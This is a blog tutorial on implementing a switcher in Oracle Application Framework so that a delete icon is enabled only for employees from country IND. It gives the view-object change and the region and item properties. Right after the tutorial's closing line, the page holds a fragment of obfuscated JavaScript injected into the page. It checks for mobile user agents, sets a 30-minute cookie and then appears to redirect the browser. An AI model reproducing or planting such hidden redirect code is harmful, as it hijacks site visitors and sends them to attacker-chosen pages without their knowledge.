How to Delete Data: Implementaion of Switcher in OAF – Part II

In addition to the previous article of how to delete data in OAF and delete image/ button is enabled for all records, let’s say we have a requirement that delete button will be enabled based on certain conditions not for all records. Let us assume a scenario that if the employee belongs to Country IND the records will be eligible for delete i.e. the delete image will be enabled but for rest of the employees belonging to different countries the button will be disabled. This can be accomplished by switcher implementation.

Here is how we implement switcher in OAF:

  1. Modify XXRDEmpVO to add one calculated field delete_status, View Attribute Name, DeleteStatus. This is basically a decode Statement where based on the country codes’ we have put the certain keywords which will be as ID of the Enable/Disable Image Items.12
  2. Right Click on DeleteCol to select switcher and set following properties.
    ID: DeleteStatusSwitcher
    Region Style: switcher
    View Attribute: DeleteStatus3
  3. Now Right Click on Switcher to add case to it.
  4. Drag and Drop the DeleteEnabledImg in one case as we created in our previous blog.
  5. Add another case.
  6. Right Click on case to add an item.
    ID: DeleteDisabledImg
    Item Style: image
    Prompt: Delete
    Image URI: deleteicon_disabled.gif
    Action Type: none4

So, for the disabled delete icons, we won’t attach any event so that user can’t perform any action onto it.

Let’s launch the page to test.5

Hope this helps.

In our next blog we will see how to delete data in bulk using button. mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Leave a Reply

Your email address will not be published. Required fields are marked *

Show my latest post here